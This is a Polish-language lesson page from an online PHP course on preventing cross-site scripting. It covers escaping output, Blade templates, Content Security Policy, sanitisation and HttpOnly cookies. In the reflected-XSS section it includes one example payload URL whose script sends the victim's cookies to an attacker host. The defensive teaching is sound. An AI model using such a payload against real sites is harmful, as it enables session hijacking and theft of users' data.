0Pricing
PHP Academy · Lekcja

Zapobieganie Cross-Site Scripting (XSS)

Escapuj dane wyjściowe za pomocą htmlspecialchars i wdrażaj politykę bezpieczeństwa treści

Zapobieganie Cross-Site Scripting (XSS) to bezpłatna lekcja PHP Academy na CoddyKit. To lekcja 1 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej PHP Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs PHP Academy zawiera 4 lekcji w sumie.

Czym jest XSS?

Cross-Site Scripting (XSS) występuje, gdy atakujący wstrzykuje złośliwy kod JavaScript do stron internetowych wyświetlanych innym użytkownikom. Skrypt jest uruchamiany w przeglądarce ofiary i ma dostęp do jej sesji, plików cookie oraz modelu DOM.

Reflected XSS

Złośliwy ładunek znajduje się w adresie URL lub parametrze formularza, a serwer odsyła go w odpowiedzi.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

Stored XSS

Ładunek jest zapisywany w bazie danych (na przykład jako komentarz lub pole profilu), a następnie wyświetlany wszystkim osobom odwiedzającym tę stronę.

DOM-Based XSS

Podatność występuje wyłącznie w kodzie JavaScript po stronie klienta, który niebezpiecznie wstawia niezaufane dane do modelu DOM za pomocą innerHTML lub document.write.

htmlspecialchars()

Escapuj dane wyjściowe, aby przekształcić specjalne znaki HTML w nieszkodliwe encje. Zawsze escapuj dane dostarczone przez użytkownika przed ich renderowaniem.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Automatyczne escapowanie w Blade

Składnia {{ }} Laravel Blade automatycznie wywołuje funkcję htmlspecialchars. Używaj {!! !!} wyłącznie w przypadku zaufanego, oczyszczonego kodu HTML.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Content Security Policy (CSP)

Nagłówek HTTP CSP instruuje przeglądarki, aby wykonywały skrypty wyłącznie z zaufanych źródeł, blokując wstrzyknięte skrypty inline, nawet jeśli trafią na stronę.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Oczyszczanie danych wejściowych HTML

Jeśli musisz zezwolić na dane wejściowe w postaci sformatowanego kodu HTML (na przykład z edytora WYSIWYG), oczyść je za pomocą biblioteki opartej na białej liście, takiej jak HTML Purifier lub pakiet Laravel mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

Nagłówek X-XSS-Protection

Dodaj nagłówek X-XSS-Protection: 1; mode=block (obsługa starszych przeglądarek). Nowoczesne przeglądarki polegają zamiast tego na CSP.

Pliki cookie HttpOnly

Ustawienie flagi HttpOnly na plikach cookie sesji uniemożliwia JavaScriptowi ich odczyt — ograniczając ryzyko kradzieży sesji za pomocą XSS, nawet jeśli skrypt zostanie wstrzyknięty.

Weryfikowanie adresów URL

Nigdy nie wstawiaj adresów URL dostarczonych przez użytkownika do href ani src bez ich weryfikacji. Identyfikator URI javascript: może wykonać atak XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Podsumowanie

Zawsze escapuj dane wyjściowe za pomocą htmlspecialchars (lub {{ }} w Blade). Dodaj Content Security Policy. Oczyszczaj dane wejściowe HTML za pomocą biblioteki opartej na białej liście. Używaj plików cookie HttpOnly.

Szybkie sprawdzenie

Jaka funkcja PHP przekształca specjalne znaki HTML w encje?

Często zadawane pytania

Czy lekcja „Zapobieganie Cross-Site Scripting (XSS)” jest bezpłatna?

Tak — pełny tekst „Zapobieganie Cross-Site Scripting (XSS)” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu PHP Academy, przejdź na CoddyKit PRO. Kurs PHP Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Zapobieganie Cross-Site Scripting (XSS)”?

Escapuj dane wyjściowe za pomocą htmlspecialchars i wdrażaj politykę bezpieczeństwa treści Ćwiczysz PHP Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć PHP Academy?

Nie wymagamy żadnego doświadczenia. PHP Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 1 z 4.

Ile czasu zajmuje lekcja „Zapobieganie Cross-Site Scripting (XSS)”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji PHP Academy?

Tak. Każda lekcja PHP Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Zapobieganie Cross-Site Scripting (XSS)
  2. SQL injection i zapytania parametryzowane
  3. Ochrona CSRF
  4. Bezpieczne przechowywanie haseł
← Powrót do PHP Academy